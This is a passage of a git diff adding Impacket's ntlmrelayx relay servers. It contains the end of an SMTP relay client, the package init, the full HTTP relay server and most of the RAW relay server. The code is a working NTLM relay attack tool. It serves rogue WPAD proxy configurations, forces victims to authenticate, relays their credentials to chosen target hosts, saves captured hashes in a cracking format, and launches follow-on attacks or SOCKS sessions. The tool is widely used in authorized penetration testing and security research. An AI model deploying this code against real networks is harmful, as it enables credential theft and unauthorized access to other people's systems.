+            token = authenticateMessageBlob
+        auth = base64.b64encode(token)
+        self.session.putcmd(auth)
+        typ, data = self.session.getreply()
+        if typ == 235:
+            self.session.state = 'AUTH'
+            return None, STATUS_SUCCESS
+        else:
+            LOG.error('SMTP: %s' % ''.join(data))
+            return None, STATUS_ACCESS_DENIED
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.close()
+            self.session = None
+
+    def keepAlive(self):
+        # Send a NOOP
+        self.session.noop()
diff --git a/impacket/examples/ntlmrelayx/servers/__init__.py b/impacket/examples/ntlmrelayx/servers/__init__.py
new file mode 100644
index 0000000..9c8968b
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/__init__.py
@@ -0,0 +1,12 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
+from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
+from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer
+from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer
\ No newline at end of file
diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py
new file mode 100644
index 0000000..89efa0e
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py
@@ -0,0 +1,552 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   HTTP Relay Server
+#
+#   This is the HTTP server which relays the NTLMSSP  messages to other protocols
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+
+import http.server
+import socketserver
+import socket
+import base64
+import random
+import struct
+import string
+from threading import Thread
+from six import PY2, b
+
+from impacket import ntlm, LOG
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
+from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
+
+class HTTPRelayServer(Thread):
+
+    class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+        def __init__(self, server_address, RequestHandlerClass, config):
+            self.config = config
+            self.daemon_threads = True
+            if self.config.ipv6:
+                self.address_family = socket.AF_INET6
+            # Tracks the number of times authentication was prompted for WPAD per client
+            self.wpad_counters = {}
+            socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
+
+    class HTTPHandler(http.server.SimpleHTTPRequestHandler):
+        def __init__(self,request, client_address, server):
+            self.server = server
+            self.protocol_version = 'HTTP/1.1'
+            self.challengeMessage = None
+            self.target = None
+            self.client = None
+            self.machineAccount = None
+            self.machineHashes = None
+            self.domainIp = None
+            self.authUser = None
+            self.relayToHost = False
+            self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
+                        '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
+                        'return "PROXY %s:80; DIRECT";} '
+            if self.server.config.mode != 'REDIRECT':
+                if self.server.config.target is None:
+                    # Reflection mode, defaults to SMB at the target, for now
+                    self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
+            try:
+                http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
+            except Exception as e:
+                LOG.debug("Exception:", exc_info=True)
+                LOG.error(str(e))
+
+        def handle_one_request(self):
+            try:
+                http.server.SimpleHTTPRequestHandler.handle_one_request(self)
+            except KeyboardInterrupt:
+                raise
+            except Exception as e:
+                pass
+                #LOG.debug("HTTPD(%s): Exception:" % self.server.server_address[1], exc_info=True)
+                #LOG.error('HTTPD(%s): Exception in HTTP request handler: %s' % (self.server.server_address[1], e))
+
+        def log_message(self, format, *args):
+            return
+
+        def send_error(self, code, message=None):
+            if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
+                return self.do_GET()
+            return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
+
+        def send_not_found(self):
+            self.send_response(404)
+            self.send_header('WWW-Authenticate', 'NTLM')
+            self.send_header('Content-type', 'text/html')
+            self.send_header('Content-Length', '0')
+            self.send_header('Connection', 'close')
+            self.end_headers()
+
+        def send_multi_status(self, content):
+            self.send_response(207, "Multi-Status")
+            self.send_header('Content-Type', 'application/xml')
+            self.send_header('Content-Length', str(len(content)))
+            self.send_header('Connection', 'close')
+            self.end_headers()
+            self.wfile.write(content)
+
+        def serve_wpad(self):
+            wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)
+            self.send_response(200)
+            self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')
+            self.send_header('Content-Length',len(wpadResponse))
+            self.end_headers()
+            self.wfile.write(b(wpadResponse))
+            return
+
+        def should_serve_wpad(self, client):
+            # If the client was already prompted for authentication, see how many times this happened
+            try:
+                num = self.server.wpad_counters[client]
+            except KeyError:
+                num = 0
+            self.server.wpad_counters[client] = num + 1
+            # Serve WPAD if we passed the authentication offer threshold
+            if num >= self.server.config.wpad_auth_num:
+                return True
+            else:
+                return False
+
+        def serve_image(self):
+            with open(self.server.config.serve_image, 'rb') as imgFile:
+                imgFile_data = imgFile.read()
+                self.send_response(200, "OK")
+                self.send_header('Content-type', 'image/jpeg')
+                self.send_header('Content-Length', str(len(imgFile_data)))
+                self.end_headers()
+                self.wfile.write(imgFile_data)
+
+        def strip_blob(self, proxy):
+            if PY2:
+                if proxy:
+                    proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
+                else:
+                    autorizationHeader = self.headers.getheader('Authorization')
+            else:
+                if proxy:
+                    proxyAuthHeader = self.headers.get('Proxy-Authorization')
+                else:
+                    autorizationHeader = self.headers.get('Authorization')
+
+            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
+                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
+                messageType = 0
+                token = None
+            else:
+                if proxy:
+                    typeX = proxyAuthHeader
+                else:
+                    typeX = autorizationHeader
+                try:
+                    _, blob = typeX.split('NTLM')
+                    token = base64.b64decode(blob.strip())
+                except Exception:
+                    LOG.debug("Exception:", exc_info=True)
+                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
+                else:
+                    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
+
+            return token, messageType
+
+        def do_HEAD(self):
+            self.send_response(200)
+            self.send_header('Content-type', 'text/html')
+            self.end_headers()
+
+        def do_OPTIONS(self):
+            self.send_response(200)
+            self.send_header('Allow',
+                             'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')
+            self.send_header('Content-Length', '0')
+            self.send_header('Connection', 'close')
+            self.end_headers()
+            return
+
+        def do_PROPFIND(self):
+            proxy = False
+            if (".jpg" in self.path) or (".JPG" in self.path):
+                content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
+            else:
+                content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
+
+            token, messageType = self.strip_blob(proxy)
+
+            # Should we relay or log-in locally?
+            if self.relayToHost is False and not self.server.config.disableMulti:
+                self.do_local_auth(messageType, token, proxy)
+                return
+            else:
+                # We can start the relay process
+                self.do_relay(messageType, token, proxy, content)
+
+        def do_AUTHHEAD(self, message = b'', proxy=False):
+            if proxy:
+                self.send_response(407)
+                self.send_header('Proxy-Authenticate', message.decode('utf-8'))
+            else:
+                self.send_response(401)
+                self.send_header('WWW-Authenticate', message.decode('utf-8'))
+            self.send_header('Content-type', 'text/html')
+            self.send_header('Content-Length','0')
+            self.send_header('Connection', 'keep-alive')
+            self.end_headers()
+
+        #Trickery to relay the victim to all the targets we want
+        def do_REDIRECT(self, proxy=False):
+            rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
+            self.send_response(307)
+            if proxy:
+                self.send_header('Proxy-Authenticate', 'NTLM')
+            else:
+                self.send_header('WWW-Authenticate', 'NTLM')
+            self.send_header('Content-type', 'text/html')
+            self.send_header('Connection','keep-alive')
+            self.send_header('Location','/%s' % rstr)
+            self.send_header('Content-Length','0')
+            self.end_headers()
+
+        def do_SMBREDIRECT(self):
+            self.send_response(302)
+            self.send_header('Content-type', 'text/html')
+            self.send_header('Location','file://%s' % self.server.config.redirecthost)
+            self.send_header('Content-Length','0')
+            self.send_header('Connection','close')
+            self.end_headers()
+
+        def do_POST(self):
+            return self.do_GET()
+
+        def do_CONNECT(self):
+            # Client is using our server as a Proxy
+            proxy = True
+            token, messageType = self.strip_blob(proxy)
+
+            # We can't do the multirelay trick so we just relay the connection
+            self.do_relay(messageType, token, proxy)
+            return
+
+        def do_GET(self):
+            if self.server.config.mode == 'REDIRECT':
+                self.do_SMBREDIRECT()
+                return
+            
+            
+            self.path.lower()
+            if len(str(self.path))<10:
+                LOG.info('HTTPD(%s): Client requested path: %s' % (self.server.server_address[1], self.path.lower()))
+
+            # Serve WPAD if:
+            # - The client requests it
+            # - A WPAD host was provided in the command line options
+            # - The client has not exceeded the wpad_auth_num threshold yet
+            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
+                LOG.info('HTTPD(%s): Serving PAC file to client %s' % (self.server.server_address[1], self.client_address[0]))
+                self.serve_wpad()
+                return
+
+            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
+            if len(self.path) > 4 and self.path[:4].lower() == 'http':
+                proxy = True
+            else:
+                proxy = False
+
+            token, messageType = self.strip_blob(proxy)
+
+            # Should we relay or log-in locally?
+            if self.relayToHost is False and not self.server.config.disableMulti:
+                self.do_local_auth(messageType, token, proxy)
+                return
+            else:
+                # We can start the relay process
+                self.do_relay(messageType, token, proxy)
+
+            return
+
+        def do_ntlm_negotiate(self, token, proxy):
+            if self.target.scheme.upper() in self.server.config.protocolClients:
+                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
+                # If connection failed, return
+                if not self.client.initConnection():
+                    return False
+                self.challengeMessage = self.client.sendNegotiate(token)
+
+                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
+                if self.server.config.remove_target:
+                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
+                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
+                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
+                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
+                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
+
+                # Check for errors
+                if self.challengeMessage is False:
+                    return False
+            else:
+                LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
+                return False
+
+            # Calculate auth
+            self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)
+            return True
+
+        def do_ntlm_auth(self,token,authenticateMessage):
+            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
+                clientResponse, errorCode = self.client.sendAuth(token)
+            else:
+                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
+                # when coming from localhost
+                errorCode = STATUS_ACCESS_DENIED
+
+            if errorCode == STATUS_SUCCESS:
+                return True
+
+            return False
+
+        def do_local_auth(self, messageType, token, proxy):
+            if messageType == 1:
+                negotiateMessage = ntlm.NTLMAuthNegotiate()
+                negotiateMessage.fromString(token)
+                ansFlags = 0
+
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
+                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
+                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM
+
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \
+                            ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM
+
+                challengeMessage = ntlm.NTLMAuthChallenge()
+                challengeMessage['flags'] = ansFlags
+                challengeMessage['domain_name'] = ""
+                challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))
+                challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()
+                challengeMessage['TargetInfoFields_len'] = 0
+                challengeMessage['TargetInfoFields_max_len'] = 0
+                challengeMessage['TargetInfoFields_offset'] = 40 + 16
+                challengeMessage['Version'] = b'\xff' * 8
+                challengeMessage['VersionLen'] = 8
+
+                self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)
+                return
+
+            elif messageType == 3:
+                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+
+                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()
+                else:
+                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
+                                                authenticateMessage['user_name'].decode('ascii'))).upper()
+
+                self.target = self.server.config.target.getTarget(identity = self.authUser)
+                if self.target is None:
+                    LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
+                        (self.server.server_address[1], self.authUser, self.client_address[0]))
+                    self.send_not_found()
+                    return
+
+                LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
+                    self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
+
+                self.relayToHost = True
+                self.do_REDIRECT()
+
+        def do_relay(self, messageType, token, proxy, content = None):
+            if messageType == 1:
+                if self.server.config.disableMulti:
+                    self.target = self.server.config.target.getTarget(multiRelay=False)
+                    if self.target is None:
+                        LOG.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % (
+                            self.server.server_address[1], self.client_address[0]))
+                        self.send_not_found()
+                        return
+
+                    LOG.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % (
+                        self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))
+
+                if not self.do_ntlm_negotiate(token, proxy=proxy):
+                    # Connection failed
+                    if self.server.config.disableMulti:
+                        LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1],
+                                  self.target.scheme, self.target.netloc))
+                        self.server.config.target.logTarget(self.target)
+                        self.send_not_found()
+                        return
+                    else:
+                        LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % (
+                            self.server.server_address[1], self.target.scheme, self.target.netloc))
+
+                        self.server.config.target.logTarget(self.target)
+                        self.target = self.server.config.target.getTarget(identity=self.authUser)
+
+                        if self.target is None:
+                            LOG.info( "HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
+                                (self.server.server_address[1], self.authUser, self.client_address[0]))
+                            self.send_not_found()
+                            return
+
+                        LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
+                            self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
+
+                        self.do_REDIRECT()
+
+            elif messageType == 3:
+                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+
+                if self.server.config.disableMulti:
+                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                                    authenticateMessage['user_name'].decode('utf-16le'))).upper()
+                    else:
+                        self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
+                                                    authenticateMessage['user_name'].decode('ascii'))).upper()
+
+                    target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)
+
+                if not self.do_ntlm_auth(token, authenticateMessage):
+                    LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
+                                                                               self.authUser))
+                    if self.server.config.disableMulti:
+                        self.send_not_found()
+                        return
+                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
+                    # which we don't want
+                    if authenticateMessage['user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
+                        self.server.config.target.logTarget(self.target)
+                        # No anonymous login, go to next host and avoid triggering a popup
+                        self.target = self.server.config.target.getTarget(identity=self.authUser)
+                        if self.target is None:
+                            LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
+                                (self.server.server_address[1], self.authUser, self.client_address[0]))
+                            self.send_not_found()
+                            return
+
+                        LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
+                            self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
+
+                        self.do_REDIRECT()
+                    else:
+                        # If it was an anonymous login, send 401
+                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)
+                else:
+                    # Relay worked, do whatever we want here...
+                    #LOG.info("HTTPD(%s): Authenticating against %s://%s as %s SUCCEED" % (self.server.server_address[1],self.target.scheme, self.target.netloc, self.authUser))
+                    
+                    LOG.info(" %s " % (self.authUser))
+
+                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+                    if self.server.config.outputFile is not None:
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              self.server.config.outputFile)
+
+                    self.server.config.target.logTarget(self.target, True, self.authUser)
+                    self.do_attack()
+                    if self.server.config.disableMulti:
+                        # We won't use the redirect trick, closing connection...
+                        if self.command == "PROPFIND":
+                            self.send_multi_status(content)
+                        else:
+                            self.send_not_found()
+                        return
+                    else:
+                        # Let's grab our next target
+                        self.target = self.server.config.target.getTarget(identity=self.authUser)
+
+                        if self.target is None:
+                            LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (
+                                self.server.server_address[1], self.authUser, self.client_address[0]))
+
+                            # Return Multi-Status status code to WebDAV servers
+                            if self.command == "PROPFIND":
+                                self.send_multi_status(content)
+                                return
+
+                            # Serve image and return 200 if --serve-image option has been set by user
+                            if (self.server.config.serve_image):
+                                self.serve_image()
+                                return
+
+                            # And answer 404 not found
+                            self.send_not_found()
+                            return
+
+                        # We have the next target, let's keep relaying...
+                        LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
+                            self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
+                        self.do_REDIRECT()
+
+        def do_attack(self):
+            
+            # Check if SOCKS is enabled and if we support the target scheme
+            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
+                # Pass all the data to the socksplugins proxy
+                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
+                                       self.authUser, self.client, self.client.sessionData))
+                return
+
+            # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
+            if self.target.scheme.upper() in self.server.config.attacks:
+                # We have an attack.. go for it
+                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
+                                                                               self.authUser)
+                clientThread.start()
+            else:
+                LOG.error('HTTPD(%s): No attack configured for %s' % (self.server.server_address[1], self.target.scheme.upper()))
+
+    def __init__(self, config):
+        Thread.__init__(self)
+        self.daemon = True
+        self.config = config
+        self.server = None
+        self.httpport = None
+
+    def run(self):
+        if not self.config.listeningPort:
+            self.config.listeningPort = 80
+
+        LOG.info("Setting up HTTP Server on port %s" % self.config.listeningPort)
+
+        # changed to read from the interfaceIP set in the configuration
+        self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
+
+        try:
+             self.server.serve_forever()
+        except KeyboardInterrupt:
+             pass
+        LOG.info('Shutting down HTTP Server')
+        self.server.server_close()
\ No newline at end of file
diff --git a/impacket/examples/ntlmrelayx/servers/rawrelayserver.py b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py
new file mode 100644
index 0000000..0f7fe75
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/rawrelayserver.py
@@ -0,0 +1,227 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RAW Relay Server
+#
+#   Written for lsarelax, but the RAW server can be used by any third-party NTLM relay
+#   server that would like to integrate with ntlmrelayx supported clients/attacks
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#   Ceri Coburn (@_EthicalChaos_)
+#
+
+import socketserver
+import socket
+import base64
+import random
+import struct
+import string
+from threading import Thread
+from six import PY2
+
+from impacket import ntlm, LOG
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
+from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
+
+
+class RAWRelayServer(Thread):
+
+    class RAWServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+
+        def __init__(self, server_address, RequestHandlerClass, config):
+            self.config = config
+            self.daemon_threads = True
+            #if self.config.ipv6:
+            #    self.address_family = socket.AF_INET6
+
+            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)
+
+    class RAWHandler(socketserver.BaseRequestHandler):
+
+        def __init__(self, request, client_address, server):
+            self.server = server
+            self.challengeMessage = None
+            self.target = None
+            self.client = None
+            self.machineAccount = None
+            self.machineHashes = None
+            self.domainIp = None
+            self.authUser = None
+
+            if self.server.config.target is None:
+                # Reflection mode, defaults to SMB at the target, for now
+                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
+            self.target = self.server.config.target.getTarget()
+            if self.target is None:
+                LOG.info("RAW: Received connection from %s, but there are no more targets left!" % client_address[0])
+                return
+
+            LOG.info("RAW: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
+
+            super().__init__(request, client_address, server)
+
+        def handle(self):
+
+            ntlm_negotiate_len = struct.unpack('h', self.request.recv(2))
+            ntlm_negotiate = self.request.recv(ntlm_negotiate_len[0])
+
+            if not self.do_ntlm_negotiate(ntlm_negotiate):
+                # Connection failed
+                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
+                          self.target.scheme, self.target.netloc)
+                self.server.config.target.logTarget(self.target)
+
+            else:
+
+                ntlm_chal_token = self.challengeMessage.getData()
+                self.request.sendall(struct.pack('h', len(ntlm_chal_token)))
+                self.request.sendall(ntlm_chal_token)
+
+                ntlm_auth_len = struct.unpack('h', self.request.recv(2))
+                ntlm_auth = self.request.recv(ntlm_auth_len[0])
+
+                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(ntlm_auth)
+
+                if not self.do_ntlm_auth(ntlm_auth, authenticateMessage):
+
+                    self.request.sendall(struct.pack('h', 1))
+                    self.request.sendall(struct.pack('?', False))
+
+                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+                            self.target.scheme, self.target.netloc,
+                            authenticateMessage['domain_name'].decode('utf-16le'),
+                            authenticateMessage['user_name'].decode('utf-16le')))
+                    else:
+                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+                            self.target.scheme, self.target.netloc,
+                            authenticateMessage['domain_name'].decode('ascii'),
+                            authenticateMessage['user_name'].decode('ascii')))
+                else:
+                    # Relay worked, do whatever we want here...
+                    self.request.sendall(struct.pack('h', 1))
+                    self.request.sendall(struct.pack('?', True))
+
+                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
+                            authenticateMessage['user_name'].decode('utf-16le')))
+                    else:
+                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
+                            authenticateMessage['user_name'].decode('ascii')))
+
+                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+                    if self.server.config.outputFile is not None:
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              self.server.config.outputFile)
+
+                    self.server.config.target.logTarget(self.target, True, self.authUser)
+
+                    self.do_attack()
+
+        def do_ntlm_negotiate(self, token):
+
+            if self.target.scheme.upper() in self.server.config.protocolClients:
+                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
+                # If connection failed, return
+                if not self.client.initConnection():
+                    return False
+                self.challengeMessage = self.client.sendNegotiate(token)
+
+                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
+                if self.server.config.remove_target:
+                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
+                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
+                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
+                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
+                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
+
+                # Check for errors
+                if self.challengeMessage is False:
+                    return False
+            else:
+                LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
+                return False
+
+            return True
+
+        def do_ntlm_auth(self, token, authenticateMessage):
+
+            # For some attacks it is important to know the authenticated username, so we store it
+            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
+            else:
+                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
+                                            authenticateMessage['user_name'].decode('ascii'))).upper()
+
+            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
+                clientResponse, errorCode = self.client.sendAuth(token)
+            else:
+                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
+                # when coming from localhost
+                errorCode = STATUS_ACCESS_DENIED
+
+            if errorCode == STATUS_SUCCESS:
+                return True
+
+            return False
+
+        def do_attack(self):
+            # Check if SOCKS is enabled and if we support the target scheme
+            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
+                # Pass all the data to the socksplugins proxy
+                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
+                                       self.authUser, self.client, self.client.sessionData))
+                return
+
+            # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
+            if self.target.scheme.upper() in self.server.config.attacks:
+                # We have an attack.. go for it
